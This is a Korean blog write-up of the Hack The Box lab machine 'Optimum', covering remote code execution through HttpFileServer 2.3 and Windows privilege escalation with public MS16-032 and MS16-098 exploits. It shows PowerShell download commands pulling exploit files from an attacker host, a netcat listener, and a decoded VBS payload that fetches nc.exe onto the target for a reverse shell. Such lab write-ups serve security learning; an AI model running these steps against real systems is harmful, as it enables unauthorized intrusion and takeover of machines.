본문 바로가기
워게임/hackthebox

optimum 롸업 정리

by meanjung 2021. 9. 28.

nmap


삽질의 시작.. user.txt를 확인했음에도 삽질이었다...(삽질 안하려면  '진짜 풀이' 나올 때까지 건너뛰기)


searchsploit

맨 위에거 겟

lhost, lport 알맞게 지정. 코드 밑에 보니까 nc -nlvp도 해준다. 그럼 그냥 실행하면 되겠다.


user.txt 확인


systeminfo

파워쉘이 따졌다.

구글링ㄱㄱ

https://www.exploit-db.com/exploits/39719

 

Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation (MS16-032) (PowerShell)

Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation (MS16-032) (PowerShell) EDB-ID: 39719 CVE: 2016-0099 Date: 2016-04-21

www.exploit-db.com

https://github.com/Ascotbe/Kernelhub/tree/master/CVE-2016-0099

 

GitHub - Ascotbe/Kernelhub: Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF

:palm_tree:Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF map, vulnerability details, executable file (Windows提权漏洞合集) - GitHub - Ascotbe/Kern...

github.com

 

# USAGE

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.2:5555/Invoke-MS16-032.ps1', 'c:\Users\Public\Downloads\Invoke-MS16-032.ps1')

 

Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032

not working...


권한 상승(롸업)

git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git

cd Windows-Exploit-Suggester

윈도우 SYSTEMINFO 결과를 sysinfo.txt로 저장

pip install xlrd --upgrade

./windows-exploit-suggester.py --update

./windows-exploit-suggester.py --database 2021-09-28-mssb.xls --systeminfo sysinfo.txt

-> 만약 오류나면 pip install xlrd==1.2.0

 

다시 ./windows-exploit-suggester.py --database 2021-09-28-mssb.xls --systeminfo sysinfo.txt 하면 다음과 같은 결과가 나온다. 이 중 어느것이 알맞는 건지 어떻게 알지?

 

* 롸업에서 MS16–098 이걸로 익스를 했길래 나도 따라했다.

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe

python -m SimpleHTTPServer 5555

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.8:5555/41020.exe', 'c:\Users\Public\Downloads\41020.exe') [* 로컬에서 파일 옮겨 다운받기]

.\41020.exe

 

but... 아무것도 출력이 안되고 실행이 끝나지 않고,, 그냥 그렇게,, 안됐다...

 

아마도 user.txt를 딸 때부터 윈도우 쉘을 파워쉘로 따서 그런 것 같다...

롸업을 처음부터 보기로 했다..

 


진짜 풀이 1[***얘가 아래 풀이보다 좋은 듯]

https://0xdf.gitlab.io/2021/03/17/htb-optimum.html

 

HTB: Optimum

Optimum was sixth box on HTB, a Windows host with two CVEs to exploit. The first is a remote code execution vulnerability in the HttpFileServer software. I’ll use that to get a shell. For privesc, I’ll look at unpatched kernel vulnerabilities. Today to

0xdf.gitlab.io


진짜 풀이 2

httpfileserver 2.3 구글링

https://github.com/am0nsec/exploit/blob/master/windows/http/RejettoHTTPFileServer-2.3/rejetto_hfs.py

 

GitHub - am0nsec/exploit: Collection of different exploits

Collection of different exploits. Contribute to am0nsec/exploit development by creating an account on GitHub.

github.com

발견

 

id_addr과 local_port를 바꿔준다.

vbs 변수를 url decode하면 다음과 같다.

C:\Users\Public\script.vbs|dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://"+ip_addr+"/nc.exe", False
xHttp.Send

with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile "C:\Users\Public\nc.exe", 2 '//overwrite
end with

코드를 보니까 nc.exe를 먼저 타겟 머신으로 복사하는 것 같다. 

 

python -m SimpleHTTPServer 80

nc -nlvp 1234

python hfs23_ex.py 10.10.10.8 80

 

실행하면 쉘이 따진다. user.txt는 확인할 수 있다.


권한 상승

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

 

GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability d

This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public expl...

github.com

 

권한 상승은 위의 부분과 같다.


너무 당연한 이야기이지만

- 취약점 찾아내기

- 익스플로잇 코드 찾아내서 코드 대충 파악하기

- 권한 상승 파일 찾아내기

'워게임 > hackthebox' 카테고리의 다른 글

granny 롸업 정리  (0) 2021.10.03
bastard 롸업 정리  (0) 2021.10.01
devel 롸업 정리  (0) 2021.09.28
legacy 롸업 정리(smbserver.py 사용법, 윈도우 cmd)  (0) 2021.09.27
tartarsauce 롸업 정리(wpscan, tar)  (0) 2021.09.23

댓글